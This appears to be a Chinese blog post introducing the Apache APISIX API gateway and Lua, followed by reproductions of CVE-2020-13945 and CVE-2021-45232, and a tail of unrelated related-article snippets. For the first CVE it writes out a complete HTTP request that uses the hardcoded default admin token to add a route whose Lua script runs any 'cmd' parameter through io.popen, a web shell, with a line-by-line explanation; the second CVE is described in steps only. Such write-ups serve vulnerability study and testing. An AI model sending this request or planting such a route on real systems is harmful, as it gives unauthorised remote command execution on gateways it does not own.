Apache APISIX
目录
Apache APISIX是什么?
Lua
Lua 的主要特点:
Lua 的常见应用:
CVE-2020-13945(Apache APISIX默认API Token导致远程Lua代码执行)
编辑Lua脚本解析
CVE-2021-45232(Apache APISIX Dashboard API权限绕过导致RCE)
Apache APISIX是什么?
Apache APISIX是一个高性能、云原生的API网关,它基于Nginx和Lua,用于处理和管理大规模的API请求。它是开源的,并且主要用于微服务架构中的流量管理、负载均衡、认证、访问控制、日志、监控等功能。
主要特点:
- 高性能:基于 Nginx 的高性能特性,APISIX 能够处理大量并发请求。
- 插件架构:提供丰富的插件系统,可以根据需求对流量进行控制(如身份验证、IP 限制、请求转发等)。
- 动态路由:支持动态路由配置,可以根据请求的不同特点(如路径、方法、头信息等)进行流量路由。
- 负载均衡:支持多种负载均衡算法,如轮询、加权轮询、最少连接等。
- 支持多种协议:不仅支持 HTTP/HTTPS,也支持 WebSocket、gRPC 等协议。
- 可扩展性:支持插件的动态加载和自定义插件开发,灵活扩展功能。
- 云原生支持:与 Kubernetes 和 Docker 等云原生平台紧密集成,适合微服务架构。
典型用途:
- API 管理:可以作为 API 网关,处理 API 的访问请求,提供认证、限流、日志记录等功能。
- 微服务架构:在微服务架构中作为流量入口,统一管理和路由请求到不同的微服务。
- 负载均衡和流量控制:通过配置负载均衡算法,平衡服务的流量和性能。
Lua
Lua 是一种轻量级、高效的脚本编程语言,它的设计目标是嵌入式开发,特别适合用作扩展语言。Lua 的语法简洁,执行效率高,且容易嵌入到其他应用中,常用于游戏开发、Web 应用、嵌入式系统等领域。
Lua 的主要特点:
-
轻量级和高效:Lua 的内存占用小,启动速度快,适合在资源受限的环境下使用。它的执行效率很高,通常在嵌入式系统中作为脚本语言来进行扩展。
-
简洁的语法:Lua 的语法非常简洁,易学易用。它的设计者遵循了“少即是多”的原则,语言本身没有太多复杂的概念和关键字。
-
嵌入式脚本:Lua 设计的一个重要目的就是作为嵌入式脚本语言,能够轻松集成到其他应用程序中。通过 C API,Lua 可以方便地和 C 语言编写的应用进行交互,因此在游戏、网络服务等领域有着广泛的应用。
-
动态类型和自动垃圾回收:Lua 是一种动态类型语言,不需要显式地声明变量类型,同时也支持自动垃圾回收(即内存管理自动进行)。
-
扩展性:Lua 本身提供了非常简洁的 API,允许开发者方便地通过 C 语言与外部系统进行交互和扩展。
Lua 的常见应用:
- 游戏开发:Lua 经常作为游戏引擎的脚本语言,像 World of Warcraft 和 Angry Birds 就是使用 Lua 来进行游戏逻辑的编写。
- Web 开发:Lua 在 Web 应用中也有应用,特别是与 Nginx 配合使用时,利用 OpenResty 平台提供高效的 Web 服务。
- 嵌入式系统:Lua 可以嵌入到嵌入式系统中,控制硬件设备或进行系统配置。
- 网络服务和 API 网关:像 Nginx 这样使用 Lua 扩展的应用,可以通过 Lua 脚本进行定制化的功能扩展,如动态路由、流量控制、缓存等。
Nginx 与 Lua 的结合:
Nginx 本身是一个高效的 Web 服务器和反向代理服务器,但它的配置文件主要用于静态配置,处理不了很多动态的逻辑。而 Lua 可以通过 OpenResty 或 Nginx 的 Lua 模块 来为 Nginx 增加动态的脚本支持,使其能够进行复杂的请求处理、数据处理等操作。例如,你可以使用 Lua 来编写自定义的路由逻辑、用户认证、请求转发等。
CVE-2020-13945(Apache APISIX默认API Token导致远程Lua代码执行)
漏洞成因:在用户未指定管理员Token或使用了默认配置文件的情况下,Apache APISIX将使用默认的管理员Token---edd1c9f034335f136f87ad84b625c8f1,可利用这个Token可以访问到管理员接口,进而通过script参数来插入任意Lua脚本执行。
版本要求:任意版本,截止本文章发布日期。
步骤1:使用默认Token访问管理员API接口来插入Lua脚本
POST /apisix/admin/routes HTTP/1.1
Host: your-ip:9080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
X-API-KEY: edd1c9f034335f136f87ad84b625c8f1
Content-Type: application/json
Content-Length: 406{"uri": "/attack",
"script": "local _M = {} \n function _M.access(conf, ctx) \n local os = require('os')\n local args = assert(ngx.req.get_uri_args()) \n local f = assert(io.popen(args.cmd, 'r'))\n local s = assert(f:read('*a'))\n ngx.say(s)\n f:close() \n end \nreturn _M","upstream": {"type": "roundrobin","nodes": {"example.com:80": 1}}
}

Lua脚本解析
-
定义模块
_M
:_M
是一个 Lua 模块,定义了一个函数access
,该函数将在每次访问时执行。 -
access
函数的功能:- 它首先通过
ngx.req.get_uri_args()
获取 URL 参数中的所有查询参数。 - 然后,它从查询参数中提取
cmd
参数的值,并用io.popen()
执行这个命令。io.popen()
会在操作系统中打开一个进程,执行提供的命令,并且返回该命令的输出。 - 接着,它读取并将命令的输出作为字符串通过
ngx.say(s)
输出到响应中。 - 最后,关闭执行命令的进程。
- 它首先通过
-
upstream
配置:这部分配置了一个上游服务器,它使用roundrobin
负载均衡策略,将请求分发到example.com:80
上。
步骤2:通过控制脚本里的参数值达到任意命令执行效果
CVE-2021-45232(Apache APISIX Dashboard API权限绕过导致RCE)
APISIX Dashboard是Apache APISIX的web管理界面工具。
漏洞成因:APISIX Dashboard 2.10.1版本前存在两个API接口/apisix/admin/migrate/export和/apisix/admin/migrate/import,这两个接口没有进过droplet框架的权限验证,导致未授权访问的攻击可以导出导入当前网关的所有配置项,包括路由、服务、脚本等。攻击者通过导入恶意路由,可以用来让APISIX 访问任意网站,或者是执行Lua脚本。
版本要求:APISIX Dashboard < 2.10.1
步骤1:利用接口的未授权访问导入恶意的配置文件,这里使用自带的脚本。
步骤2:发送数据包验证是否执行
相关文章:

Apache APISIX
目录 Apache APISIX是什么? Lua Lua 的主要特点: Lua 的常见应用: CVE-2020-13945(Apache APISIX默认API Token导致远程Lua代码执行) 编辑Lua脚本解析 CVE-2021-45232(Apache APISIX Dashboard API权限绕过导致RCE) Apache …...

如何在 git dev 中创建合并请求
先将 自己的代码 推到 自己的远程的 分支上 在 创建 合并请求 根据提示 将 自己的远程的 源码 合并到 对应的分支上 然后 创建 合并请求 等待 对应的 人 来 进行合并就行...

基于nlohmann/json 实现 从C++对象转换成JSON数据格式
C对象的JSON序列化与反序列化 基于JsonCpp库实现C对象序列化与反序列化 JSON 介绍 JSON作为一种轻量级的数据交换格式,在Web服务和应用程序中广泛使用。 JSON(JavaScript Object Notation)是一种轻量级的数据交换格式,易于人阅读…...
Java枚举类映射MySQL的深度解析与实践指南
Java枚举类映射MySQL的深度解析与实践指南 一、枚举类型映射的四大核心策略 1. 序数映射法(ordinal映射) 实现原理:存储枚举值的下标顺序 public enum OrderStatus {PENDING, // 存储为0PROCESSING, // 存储为1SHIPPED, //…...
代码训练LeetCode(21)跳跃游戏2
代码训练(21)LeetCode之跳跃游戏2 Author: Once Day Date: 2025年6月4日 漫漫长路,才刚刚开始… 全系列文章可参考专栏: 十年代码训练_Once-Day的博客-CSDN博客 参考文章: 45. 跳跃游戏 II - 力扣(LeetCode)力扣 (LeetCode) 全球极客挚爱…...
【HarmonyOS 5】鸿蒙APP使用【团结引擎Unity】开发的案例教程
以下是基于团结引擎开发鸿蒙Unity应用的详细案例教程,整合环境配置、工程适配、跨语言通信等核心环节 一、环境配置(关键前置步骤) 1. 工具安装 工具版本要求作用团结引擎Hub≥1.2.3Unity鸿蒙项目构建管理DevEco Studio≥…...

《T/CI 404-2024 医疗大数据智能采集及管理技术规范》全面解读与实施分析
规范背景与详细信息 《T/CI 404-2024 医疗大数据智能采集及管理技术规范》是由中国国际科技促进会联合河南科技大学、河南科技大学第一附属医院、深圳市人民医院等十余家医疗机构与企业共同制定的团体标准,于2024年5月正式发布实施。该规范是我国医疗大数据领域的重要技术标准…...

国产三维CAD皇冠CAD在「金属压力容器制造」建模教程:蒸汽锅炉
面对蒸汽锅炉设计中复杂的曲面封头、密集的管板开孔、多变的支撑结构以及严格的强度与安全规范(如GB150、ASME等),传统二维设计手段往往捉襟见肘,易出错、效率低、协同难。国产三维CAD皇冠CAD(CrownCAD)凭借…...
Mysql避免索引失效
1. 在索引列上使用函数或表达式 问题描述 SELECT * FROM users WHERE YEAR(create_time) 2023; 如果create_time列上有索引,上述查询会导致索引失效,因为MySQL无法直接利用索引的B树结构。 解决方法 将函数应用于条件值,而不是列&#…...
python爬虫:Ruia的详细使用(一个基于asyncio和aiohttp的异步爬虫框架)
更多内容请见: 爬虫和逆向教程-专栏介绍和目录 文章目录 一、Ruia概述1.1 Ruia介绍1.2 Ruia特点1.3 安装Ruia1.4 使用案例二、基本使用2.1 Request 请求2.2 Response - 响应2.3 Item - 数据提取2.4 Field 提取数据2.5 Spider - 爬虫类2.6 Middleware - 中间件三、高级功能3.1 …...

C++中单例模式详解
在C中,单例模式 (Singleton Pattern) 确保一个类只有一个实例,并提供一个全局访问点来获取这个实例。这在需要一个全局对象来协调整个系统行为的场景中非常有用。 为什么要有单例模式? 在许多项目中,某些类从逻辑上讲只需要一个实…...

舆情监控系统爬虫技术解析
之前我已经详细解释过爬虫在系统中的角色和技术要点,这次需要更聚焦“如何实现”这个动作。 我注意到上次回复偏重架构设计,这次应该拆解为更具体的操作步骤:从目标定义到数据落地的完整流水线。尤其要强调动态调度这个容易被忽视的环节——…...
Windows上用FFmpeg采集摄像头推流 → MediaMTX服务器转发流 → WSL2上拉流播放
1. Windows上 FFmpeg 推流(摄像头采集) 设备名称可用 ffmpeg -list_devices true -f dshow -i dummy 查询,假设为Integrated Camera 采集推流示例(推RTMP到MediaMTX): ffmpeg -rtbufsize 100M -f dshow …...
cpp多线程学习
1.thread std::thread是 C11 引入的跨平台线程管理类,封装了操作系统的线程 API(如 pthread、Windows 线程),提供统一的线程操作接口。线程的生命周期由join()和detach()控制。 thread在创建时就开始执行 join():阻…...

Vue3中Ant-design-vue的使用-附完整代码
前言 首先介绍一下什么是Ant-design-vue Ant Design Vue 是基于 Vue 3 的企业级 UI 组件库(同时兼容 Vue 2),是蚂蚁金服开源项目 Ant Design 的 Vue 实现版本。它遵循 Ant Design 的设计规范,提供丰富的组件和高质量的设计体系&…...
k8s热更新-subPath 不支持热更新
文章目录 k8s热更新-subPath 不支持热更新背景subPath 不支持热更新1. 为什么 subPath 不支持热更新?2. 挂载整个目录为何支持热更新?使用demo举例:挂载整个目录(不使用 subPath) k8s热更新-subPath 不支持热更新 背景…...

Redis Sorted Set 深度解析:从原理到实战应用
Redis Sorted Set 深度解析:从原理到实战应用 在 Redis 丰富的数据结构家族中,Sorted Set(有序集合)凭借独特的设计和强大的功能,成为处理有序数据场景的得力工具。无论是构建实时排行榜,还是实现基于时间的…...
docker中组合这几个命令来排查 import 模块失败 的问题
pwd ls echo $PYTHONPATH这三个命令是你在 Linux 或 Docker 容器中常用来「查看环境状态」的基础命令。 ✅ 1. echo $PYTHONPATH 🔍 含义 这是在查看当前的 Python 模块搜索路径。 🧠 分解解释: echo:打印某个变量的值&#x…...

若依框架修改模板,添加通过excel导入数据功能
版本:我后端使用的是RuoYi-Vue-fast版本,前端是RuoYi-Vue3 需求: 我需要每个侧边栏功能都需要具有导入excel功能,但是若依只有用户才具备,我需要代码生成的每个功能都拥有导入功能。 每次生成一个一个改实在是太麻烦了。索性…...

web全栈开发学习-01html基础
背景 最近在付费网站学习web全栈开发,记录一下阶段性学习。今天刚好学完html基础,跟着教程画了个基础的网站。 样品展示: 开发工具 vscode Visual Studio Code - Code Editing. Redefined 常用插件 Prettier:格式优化 Live Sever:实时调…...
基于Socketserver+ThreadPoolExecutor+Thread构造的TCP网络实时通信程序
目录 介绍: 源代码: Socketserver-服务端代码 Socketserver客户端代码: 介绍: socketserver是一种传统的传输层网络编程接口,相比WebSocket这种应用层的协议来说,socketserver比较底层,soc…...
[Java 基础]枚举
枚举是一种特殊的类,表示一组固定的常量。枚举跟普通类一样可以用自己的变量、方法和构造函数,构造函数只能使用 private 访问修饰符,所以外部无法调用。 现实生活中的例子: 一周七天(MONDAY ~ SUNDAY) …...

多线程环境中,如果多个线程同时尝试向同一个TCP客户端发送数据,添加同步机制
原代码 public async Task SendToClientAsync(TcpClient targetClient, byte[] data, int offset, int length) {try{// 1. 检查客户端是否有效if (targetClient null || !targetClient.Connected){Console.WriteLine("Cannot send: client is not connected");ret…...

【含文档+PPT+源码】基于微信小程序的旅游论坛系统的设计与实现
项目介绍 本课程演示的是一款基于微信小程序的旅游论坛系统的设计与实现,主要针对计算机相关专业的正在做毕设的学生与需要项目实战练习的 Java 学习者。 1.包含:项目源码、项目文档、数据库脚本、软件工具等所有资料 2.带你从零开始部署运行本套系统 …...

贝叶斯优化+LSTM+时序预测=Nature子刊!
贝叶斯优化与LSTM的融合在时间序列预测领域取得了显著成效,特别是在处理那些涉及众多超参数调整的复杂问题时。 1.这种结合不仅极大提高了预测的精确度,还优化了模型训练流程,提升了效率和成本效益。超参数优化的新篇章:LSTM因其…...
NodeJS全栈WEB3面试题——P3Web3.js / Ethers.js 使用
3.1 Ethers.js 和 Web3.js 的主要区别是什么? 比较点Ethers.jsWeb3.js体积更轻量,适合前端较大,加载慢,适合 Node文档文档简洁、现代化,支持 TypeScript文档丰富,但不够现代化模块化设计高度模块化&#x…...
Quick UI 组件加载到 Axure
将 Quick UI 组件加载到 Axure 的完整指南 Axure 支持通过自定义元件库加载外部 UI 组件库(如 Quick UI),以下是详细的操作流程: 一、准备工作 获取 Quick UI 组件库文件: 下载 .rplib 格式的 Quick UI 元件库文件&a…...

Vue3(ref与reactive)
一,ref创建_基本类型的响应式数据 在 Vue 3 中,ref是创建响应式数据的核心 API 之一 ** ref的基本概念** ref用于创建一个可变的响应式数据引用,适用于任何类型的值(基本类型、对象、数组等)。通过ref包装的值会被转…...

Starrocks中RoaringBitmap杂谈
背景 最近在阅读Starrocks源码的时候,遇到ColumnRefSet的RoaringBitmap使用,所以借此来讨论一下RoaringBitmap这个数据结构,这种思想是很值得借鉴的。 对于的实现可以参考一下 <dependency><groupId>org.roaringbitmap</groupId><…...
通过ca证书的方式设置允许远程访问Docker服务
设置允许远程访问Docker服务 使用场景 环境 系统:anolis7.9 修改Docker服务配置,配置安全证书 生成ca证书到/etc/docker目录中,后续会要用到 #该步骤需要设置密码,后面步骤会要用到,此处设置密码为123456 openss…...